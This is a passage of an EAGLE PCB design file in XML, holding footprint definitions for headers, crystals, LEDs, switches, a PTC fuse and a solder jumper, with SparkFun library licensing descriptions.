x2=\"0.3302\" y2=\"0.3302\" layer=\"51\"/>\n</package>\n<package name=\"TP20R\">\n<description>&lt;b&gt;TEST PAD&lt;/b&gt;</description>\n<smd name=\"TP\" x=\"0\" y=\"0\" dx=\"2\" dy=\"2\" layer=\"1\" roundness=\"100\" cream=\"no\"/>\n<text x=\"-1\" y=\"1.05\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.762\" y=\"-1.016\" size=\"0.0254\" layer=\"27\">&gt;VALUE</text>\n<text x=\"0\" y=\"-2.54\" size=\"1\" layer=\"37\">&gt;TP_SIGNAL_NAME</text>\n</package>\n</packages>\n</library>\n<library name=\"SparkFun\">\n<packages>\n<package name=\"LED-0603\">\n<wire x1=\"0.46\" y1=\"0.17\" x2=\"0\" y2=\"0.17\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.46\" y1=\"0.17\" x2=\"0\" y2=\"0.17\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"0.17\" x2=\"0.31\" y2=\"-0.14\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"0.18\" x2=\"-0.32\" y2=\"-0.14\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.32\" y1=\"-0.14\" x2=\"0.31\" y2=\"-0.14\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"C\" x=\"0\" y=\"0.75\" dx=\"0.8\" dy=\"0.8\" layer=\"1\"/>\n<smd name=\"A\" x=\"0\" y=\"-0.75\" dx=\"0.8\" dy=\"0.8\" layer=\"1\"/>\n<text x=\"-0.6985\" y=\"-0.889\" size=\"0.4064\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"1.0795\" y=\"-1.016\" size=\"0.4064\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n</package>\n<package name=\"PTC-1206\">\n<wire x1=\"-1.5\" y1=\"0.75\" x2=\"1.5\" y2=\"0.75\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"1.5\" y1=\"0.75\" x2=\"1.5\" y2=\"-0.75\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"1.5\" y1=\"-0.75\" x2=\"-1.5\" y2=\"-0.75\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"-1.5\" y1=\"-0.75\" x2=\"-1.5\" y2=\"0.75\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"0.635\" y1=\"-0.762\" x2=\"-0.635\" y2=\"-0.762\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"0.762\" x2=\"0.635\" y2=\"0.762\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.143\" y1=\"-1.016\" x2=\"0.254\" y2=\"1.016\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"0.254\" y1=\"1.016\" x2=\"1.143\" y2=\"1.016\" width=\"0.127\" layer=\"51\"/>\n<smd name=\"1\" x=\"-1.4\" y=\"0\" dx=\"1\" dy=\"1.8\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.4\" y=\"0\" dx=\"1\" dy=\"1.8\" layer=\"1\"/>\n<text x=\"-1.524\" y=\"1.27\" size=\"0.4064\" layer=\"25\">&gt;Name</text>\n<text x=\"-1.524\" y=\"-1.651\" size=\"0.4064\" layer=\"27\">&gt;Value</text>\n</package>\n</packages>\n</library>\n<library name=\"SchmalzHaus\">\n<packages>\n<package name=\"1X08\">\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" shape=\"square\" rot=\"R90\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"3\" x=\"5.08\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"4\" x=\"7.62\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"5\" x=\"10.16\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"6\" x=\"12.7\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"7\" x=\"15.24\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<pad name=\"8\" x=\"17.78\" y=\"0\" drill=\"1.016\" diameter=\"1.8796\" rot=\"R90\"/>\n<text x=\"-1.3462\" y=\"1.8288\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"14.986\" y1=\"-0.254\" x2=\"15.494\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"12.446\" y1=\"-0.254\" x2=\"12.954\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"9.906\" y1=\"-0.254\" x2=\"10.414\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"7.366\" y1=\"-0.254\" x2=\"7.874\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"4.826\" y1=\"-0.254\" x2=\"5.334\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"2.286\" y1=\"-0.254\" x2=\"2.794\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"-0.254\" y1=\"-0.254\" x2=\"0.254\" y2=\"0.254\" layer=\"51\"/>\n<rectangle x1=\"17.526\" y1=\"-0.254\" x2=\"18.034\" y2=\"0.254\" layer=\"51\"/>\n</package>\n</packages>\n</library>\n<library name=\"crystal\">\n<description>&lt;b&gt;Crystals and Crystal Resonators&lt;/b&gt;&lt;p&gt;\n&lt;author&gt;Created by librarian@cadsoft.de&lt;/author&gt;</description>\n<packages>\n<package name=\"HC49UP\">\n<description>&lt;b&gt;CRYSTAL&lt;/b&gt;</description>\n<wire x1=\"-5.1091\" y1=\"1.143\" x2=\"-3.429\" y2=\"2.0321\" width=\"0.0508\" layer=\"21\" curve=\"-55.770993\"/>\n<wire x1=\"-5.715\" y1=\"1.143\" x2=\"-5.715\" y2=\"2.159\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.429\" y1=\"2.032\" x2=\"5.1091\" y2=\"1.143\" width=\"0.0508\" layer=\"21\" curve=\"-55.772485\"/>\n<wire x1=\"5.715\" y1=\"1.143\" x2=\"5.715\" y2=\"2.159\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.429\" y1=\"-1.27\" x2=\"-3.429\" y2=\"-1.27\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"3.429\" y1=\"-2.032\" x2=\"-3.429\" y2=\"-2.032\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"-3.429\" y1=\"1.27\" x2=\"3.429\" y2=\"1.27\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"5.461\" y1=\"-2.413\" x2=\"-5.461\" y2=\"-2.413\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.715\" y1=\"-0.381\" x2=\"6.477\" y2=\"-0.381\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.715\" y1=\"0.381\" x2=\"6.477\" y2=\"0.381\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"6.477\" y1=\"-0.381\" x2=\"6.477\" y2=\"0.381\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.461\" y1=\"-2.413\" x2=\"5.715\" y2=\"-2.159\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"5.715\" y1=\"-1.143\" x2=\"5.715\" y2=\"1.143\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.715\" y1=\"-2.159\" x2=\"5.715\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.429\" y1=\"-1.27\" x2=\"3.9826\" y2=\"-1.143\" width=\"0.0508\" layer=\"21\" curve=\"25.842828\"/>\n<wire x1=\"3.429\" y1=\"1.27\" x2=\"3.9826\" y2=\"1.143\" width=\"0.0508\" layer=\"21\" curve=\"-25.842828\"/>\n<wire x1=\"3.429\" y1=\"-2.032\" x2=\"5.109\" y2=\"-1.1429\" width=\"0.0508\" layer=\"21\" curve=\"55.771157\"/>\n<wire x1=\"3.9826\" y1=\"-1.143\" x2=\"3.9826\" y2=\"1.143\" width=\"0.0508\" layer=\"51\" curve=\"128.314524\"/>\n<wire x1=\"5.1091\" y1=\"-1.143\" x2=\"5.1091\" y2=\"1.143\" width=\"0.0508\" layer=\"51\" curve=\"68.456213\"/>\n<wire x1=\"-5.1091\" y1=\"-1.143\" x2=\"-3.429\" y2=\"-2.032\" width=\"0.0508\" layer=\"21\" curve=\"55.772485\"/>\n<wire x1=\"-3.9826\" y1=\"-1.143\" x2=\"-3.9826\" y2=\"1.143\" width=\"0.0508\" layer=\"51\" curve=\"-128.314524\"/>\n<wire x1=\"-3.9826\" y1=\"-1.143\" x2=\"-3.429\" y2=\"-1.27\" width=\"0.0508\" layer=\"21\" curve=\"25.842828\"/>\n<wire x1=\"-3.9826\" y1=\"1.143\" x2=\"-3.429\" y2=\"1.27\" width=\"0.0508\" layer=\"21\" curve=\"-25.842828\"/>\n<wire x1=\"-6.477\" y1=\"-0.381\" x2=\"-6.477\" y2=\"0.381\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.1091\" y1=\"-1.143\" x2=\"-5.1091\" y2=\"1.143\" width=\"0.0508\" layer=\"51\" curve=\"-68.456213\"/>\n<wire x1=\"-5.715\" y1=\"-1.143\" x2=\"-5.715\" y2=\"-0.381\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.715\" y1=\"-0.381\" x2=\"-5.715\" y2=\"0.381\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.715\" y1=\"0.381\" x2=\"-5.715\" y2=\"1.143\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.715\" y1=\"-2.159\" x2=\"-5.715\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.715\" y1=\"-2.159\" x2=\"-5.461\" y2=\"-2.413\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-5.715\" y1=\"-0.381\" x2=\"-6.477\" y2=\"-0.381\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.715\" y1=\"0.381\" x2=\"-6.477\" y2=\"0.381\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.429\" y1=\"2.032\" x2=\"3.429\" y2=\"2.032\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"5.461\" y1=\"2.413\" x2=\"-5.461\" y2=\"2.413\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.461\" y1=\"2.413\" x2=\"5.715\" y2=\"2.159\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-5.715\" y1=\"2.159\" x2=\"-5.461\" y2=\"2.413\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-0.254\" y1=\"0.635\" x2=\"-0.254\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"-0.635\" x2=\"0.254\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.254\" y1=\"-0.635\" x2=\"0.254\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.254\" y1=\"0.635\" x2=\"-0.254\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"0.635\" x2=\"-0.635\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"0\" x2=\"-0.635\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"0\" x2=\"-1.016\" y2=\"0\" width=\"0.0508\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"0.635\" x2=\"0.635\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"0\" x2=\"0.635\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"0\" x2=\"1.016\" y2=\"0\" width=\"0.0508\" layer=\"21\"/>\n<smd name=\"1\" x=\"-4.826\" y=\"0\" dx=\"5.334\" dy=\"1.9304\" layer=\"1\"/>\n<smd name=\"2\" x=\"4.826\" y=\"0\" dx=\"5.334\" dy=\"1.9304\" layer=\"1\"/>\n<text x=\"-5.715\" y=\"2.794\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-5.715\" y=\"-4.191\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-6.604\" y1=\"-3.048\" x2=\"6.604\" y2=\"3.048\" layer=\"43\"/>\n</package>\n<package name=\"TC38H\">\n<description>&lt;b&gt;CRYSTAL&lt;/b&gt;</description>\n<wire x1=\"-1.397\" y1=\"1.651\" x2=\"1.397\" y2=\"1.651\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"9.906\" x2=\"1.524\" y2=\"9.652\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-1.524\" y1=\"9.652\" x2=\"-1.27\" y2=\"9.906\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-1.27\" y1=\"9.906\" x2=\"1.27\" y2=\"9.906\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.397\" y1=\"1.651\" x2=\"1.397\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.524\" y1=\"2.032\" x2=\"1.397\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.524\" y1=\"2.032\" x2=\"1.524\" y2=\"9.652\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.397\" y1=\"1.651\" x2=\"-1.397\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.524\" y1=\"2.032\" x2=\"-1.397\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.524\" y1=\"2.032\" x2=\"-1.524\" y2=\"9.652\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.397\" y1=\"2.032\" x2=\"-1.397\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.5588\" y1=\"0.7112\" x2=\"0.508\" y2=\"0.762\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"0.508\" y1=\"0.762\" x2=\"0.508\" y2=\"1.143\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-0.508\" y1=\"0.762\" x2=\"-0.508\" y2=\"1.016\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-0.5588\" y1=\"0.7112\" x2=\"-0.508\" y2=\"0.762\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"0.635\" x2=\"1.27\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.635\" y1=\"0.635\" x2=\"-1.27\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.762\" y1=\"5.588\" x2=\"-0.762\" y2=\"5.207\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.762\" y1=\"5.207\" x2=\"-0.762\" y2=\"5.207\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.762\" y1=\"5.207\" x2=\"0.762\" y2=\"5.588\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.762\" y1=\"5.588\" x2=\"0.762\" y2=\"5.588\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.762\" y1=\"5.969\" x2=\"0\" y2=\"5.969\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.762\" y1=\"4.826\" x2=\"0\" y2=\"4.826\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"4.826\" x2=\"0\" y2=\"4.318\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"4.826\" x2=\"0.762\" y2=\"4.826\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"5.969\" x2=\"0\" y2=\"6.477\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0\" y1=\"5.969\" x2=\"0.762\" y2=\"5.969\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-1.27\" y=\"0\" drill=\"0.8128\"/>\n<pad name=\"2\" x=\"1.27\" y=\"0\" drill=\"0.8128\"/>\n<text x=\"-1.905\" y=\"2.032\" size=\"1.27\" layer=\"25\" ratio=\"10\" rot=\"R90\">&gt;NAME</text>\n<text x=\"3.175\" y=\"2.032\" size=\"1.27\" layer=\"27\" ratio=\"10\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"0.3048\" y1=\"1.016\" x2=\"0.7112\" y2=\"1.6002\" layer=\"21\"/>\n<rectangle x1=\"-0.7112\" y1=\"1.016\" x2=\"-0.3048\" y2=\"1.6002\" layer=\"21\"/>\n<rectangle x1=\"-1.778\" y1=\"1.016\" x2=\"1.778\" y2=\"10.414\" layer=\"43\"/>\n</package>\n</packages>\n</library>\n<library name=\"SparkFun4-13-10\">\n<description>&lt;h3&gt;SparkFun Electronics' preferred foot prints&lt;/h3&gt;\nWe've spent an enormous amount of time creating and checking these footprints and parts. If you enjoy using this library, please buy one of our products at www.sparkfun.com.\n&lt;br&gt;&lt;br&gt;\n&lt;b&gt;Licensing:&lt;/b&gt; CC v3.0 Share-Alike You are welcome to use this library for commercial purposes. For attribution, we ask that when you begin to sell your device using our footprint, you email us with a link to the product being sold. We want bragging rights that we helped (in a very small part) to create your 8th world wonder. We would like the opportunity to feature your device on our homepage.</description>\n<packages>\n<package name=\"TACTILE_SWITCH_SMD\">\n<wire x1=\"-1.54\" y1=\"-2.54\" x2=\"-2.54\" y2=\"-1.54\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.54\" y1=\"-1.24\" x2=\"-2.54\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-2.54\" y1=\"1.54\" x2=\"-1.54\" y2=\"2.54\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-1.54\" y1=\"2.54\" x2=\"1.54\" y2=\"2.54\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.54\" y1=\"2.54\" x2=\"2.54\" y2=\"1.54\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"2.54\" y1=\"1.24\" x2=\"2.54\" y2=\"-1.24\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"2.54\" y1=\"-1.54\" x2=\"1.54\" y2=\"-2.54\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"1.54\" y1=\"-2.54\" x2=\"-1.54\" y2=\"-2.54\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.905\" y1=\"1.27\" x2=\"1.905\" y2=\"0.445\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"1.905\" y1=\"0.445\" x2=\"2.16\" y2=\"-0.01\" width=\"0.127\" layer=\"51\"/>\n<wire x1=\"1.905\" y1=\"-0.23\" x2=\"1.905\" y2=\"-1.115\" width=\"0.127\" layer=\"51\"/>\n<circle x=\"0\" y=\"0\" radius=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"1\" x=\"-2.54\" y=\"1.905\" dx=\"0.762\" dy=\"1.524\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"2\" x=\"2.54\" y=\"1.905\" dx=\"0.762\" dy=\"1.524\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"3\" x=\"-2.54\" y=\"-1.905\" dx=\"0.762\" dy=\"1.524\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"4\" x=\"2.54\" y=\"-1.905\" dx=\"0.762\" dy=\"1.524\" layer=\"1\" rot=\"R90\"/>\n<text x=\"-0.889\" y=\"1.778\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.889\" y=\"-2.032\" size=\"0.4064\" layer=\"27\">&gt;Value</text>\n</package>\n</packages>\n</library>\n<library name=\"SparkFun-Connectors\">\n<description>&lt;h3&gt;SparkFun Electronics' preferred foot prints&lt;/h3&gt;\nIn this library you'll find connectors and sockets- basically anything that can be plugged into or onto.&lt;br&gt;&lt;br&gt;\nWe've spent an enormous amount of time creating and checking these footprints and parts, but it is the end user's responsibility to ensure correctness and suitablity for a given componet or application. If you enjoy using this library, please buy one of our products at www.sparkfun.com.\n&lt;br&gt;&lt;br&gt;\n&lt;b&gt;Licensing:&lt;/b&gt; CC v3.0 Share-Alike You are welcome to use this library for commercial purposes. For attribution, we ask that when you begin to sell your device using our footprint, you email us with a link to the product being sold. We want bragging rights that we helped (in a very small part) to create your 8th world wonder. We would like the opportunity to feature your device on our homepage.</description>\n<packages>\n<package name=\"1X02_LOCK_LONGPADS\">\n<description>This footprint was designed to help hold the alignment of a through-hole component (i.e.  6-pin header) while soldering it into place.  \nYou may notice that each hole has been shifted either up or down by 0.005 of an inch from it's more standard position (which is a perfectly straight line).  \nThis slight alteration caused the pins (the squares in the middle) to touch the edges of the holes.  Because they are alternating, it causes a \"brace\" \nto hold the component in place.  0.005 has proven to be the perfect amount of \"off-center\" position when using our standard breakaway headers.\nAlthough looks a little odd when you look at the bare footprint, once you have a header in there, the alteration is very hard to notice.  Also,\nif you push a header all the way into place, it is covered up entirely on the bottom side.  This idea of altering the position of holes to aid alignment \nwill be further integrated into the Sparkfun Library for other footprints.  It can help hold any component with 3 or more connection pins.</description>\n<wire x1=\"1.651\" y1=\"0\" x2=\"0.889\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0\" x2=\"-1.016\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0\" x2=\"-1.27\" y2=\"0.9906\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0.9906\" x2=\"-0.9906\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0\" x2=\"-1.27\" y2=\"-0.9906\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-0.9906\" x2=\"-0.9906\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"0\" x2=\"3.556\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"0\" x2=\"3.81\" y2=\"-0.9906\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"-0.9906\" x2=\"3.5306\" y2=\"-1.27\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"0\" x2=\"3.81\" y2=\"0.9906\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"0.9906\" x2=\"3.5306\" y2=\"1.27\" width=\"0.2032\" layer=\"21\"/>\n<pad name=\"1\" x=\"-0.127\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"2\" x=\"2.667\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<text x=\"-1.27\" y=\"1.778\" size=\"1.27\" layer=\"25\" font=\"vector\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-3.302\" size=\"1.27\" layer=\"27\" font=\"vector\">&gt;VALUE</text>\n<rectangle x1=\"-0.2921\" y1=\"-0.2921\" x2=\"0.2921\" y2=\"0.2921\" layer=\"51\"/>\n<rectangle x1=\"2.2479\" y1=\"-0.2921\" x2=\"2.8321\" y2=\"0.2921\" layer=\"51\"/>\n</package>\n<package name=\"1X03_LOCK_LONGPADS\">\n<description>This footprint was designed to help hold the alignment of a through-hole component (i.e.  6-pin header) while soldering it into place.  \nYou may notice that each hole has been shifted either up or down by 0.005 of an inch from it's more standard position (which is a perfectly straight line).  \nThis slight alteration caused the pins (the squares in the middle) to touch the edges of the holes.  Because they are alternating, it causes a \"brace\" \nto hold the component in place.  0.005 has proven to be the perfect amount of \"off-center\" position when using our standard breakaway headers.\nAlthough looks a little odd when you look at the bare footprint, once you have a header in there, the alteration is very hard to notice.  Also,\nif you push a header all the way into place, it is covered up entirely on the bottom side.  This idea of altering the position of holes to aid alignment \nwill be further integrated into the Sparkfun Library for other footprints.  It can help hold any component with 3 or more connection pins.</description>\n<wire x1=\"1.524\" y1=\"-0.127\" x2=\"1.016\" y2=\"-0.127\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"4.064\" y1=\"-0.127\" x2=\"3.556\" y2=\"-0.127\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-0.127\" x2=\"-1.016\" y2=\"-0.127\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-0.127\" x2=\"-1.27\" y2=\"0.8636\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0.8636\" x2=\"-0.9906\" y2=\"1.143\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-0.127\" x2=\"-1.27\" y2=\"-1.1176\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-1.1176\" x2=\"-0.9906\" y2=\"-1.397\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"6.35\" y1=\"-0.127\" x2=\"6.096\" y2=\"-0.127\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"6.35\" y1=\"-0.127\" x2=\"6.35\" y2=\"-1.1176\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"6.35\" y1=\"-1.1176\" x2=\"6.0706\" y2=\"-1.397\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"6.35\" y1=\"-0.127\" x2=\"6.35\" y2=\"0.8636\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"6.35\" y1=\"0.8636\" x2=\"6.0706\" y2=\"1.143\" width=\"0.2032\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"2\" x=\"2.54\" y=\"-0.254\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"3\" x=\"5.08\" y=\"0\" drill=\"1.016\" shape=\"long\" rot=\"R90\"/>\n<text x=\"-1.27\" y=\"1.778\" size=\"1.27\" layer=\"25\" font=\"vector\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-3.302\" size=\"1.27\" layer=\"27\" font=\"vector\">&gt;VALUE</text>\n<rectangle x1=\"-0.2921\" y1=\"-0.4191\" x2=\"0.2921\" y2=\"0.1651\" layer=\"51\"/>\n<rectangle x1=\"2.2479\" y1=\"-0.4191\" x2=\"2.8321\" y2=\"0.1651\" layer=\"51\"/>\n<rectangle x1=\"4.7879\" y1=\"-0.4191\" x2=\"5.3721\" y2=\"0.1651\" layer=\"51\"/>\n</package>\n</packages>\n</library>\n<library name=\"SparkFun-Passives\">\n<description>&lt;h3&gt;SparkFun Electronics' preferred foot prints&lt;/h3&gt;\nIn this library you'll find resistors, capacitors, inductors, test points, jumper pads, etc.&lt;br&gt;&lt;br&gt;\nWe've spent an enormous amount of time creating and checking these footprints and parts, but it is the end user's responsibility to ensure correctness and suitablity for a given componet or application. If you enjoy using this library, please buy one of our products at www.sparkfun.com.\n&lt;br&gt;&lt;br&gt;\n&lt;b&gt;Licensing:&lt;/b&gt; CC v3.0 Share-Alike You are welcome to use this library for commercial purposes. For attribution, we ask that when you begin to sell your device using our footprint, you email us with a link to the product being sold. We want bragging rights that we helped (in a very small part) to create your 8th world wonder. We would like the opportunity to feature your device on our homepage.</description>\n<packages>\n<package name=\"SJ_2S-TRACE\">\n<description>Solder jumper, small, shorted with trace. No paste layer. Trace is cuttable.</description>\n<wire x1=\"0.8255\" y1=\"-1.016\" x2=\"-0.8255\" y2=\"-1.016\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0.8255\" y1=\"1.016\" x2=\"1.0795\" y2=\"0.762\" width=\"0.2032\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-1.0795\" y1=\"0.762\" x2=\"-0.8255\" y2=\"1.016\" width=\"0.2032\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-1.0795\" y1=\"-0.762\" x2=\"-0.8255\" y2=\"-1.016\" width=\"0.2032\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"0.8255\" y1=\"-1.016\" x2=\"1.0795\" y2=\"-0.762\" width=\"0.2032\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-0.8255\" y1=\"1.016\" x2=\"0.8255\" y2=\"1.016\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.381\" y1=\"0\" x2=\"0.381\" y2=\"0\" width=\"0.2032\" layer=\"1\"/>\n<smd name=\"1\" x=\"-0.508\" y=\"0\" dx=\"0.635\" dy=\"1.27\" layer=\"1\" cream=\"no\"/>\n<smd name=\"2\" x=\"0.508\" y=\"0\" dx=\"0.635\" dy=\"1.27\" layer=\"1\" cream=\"no\"/>\n<text x=\"-0.9525\" y=\"1.27\" size=\"0.4064\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.9525\" y=\"-1.651\" size=\"0.4064\" layer=\"27\">&gt;VALUE</text>\n</package>\n</packages>\n</library>\n<library 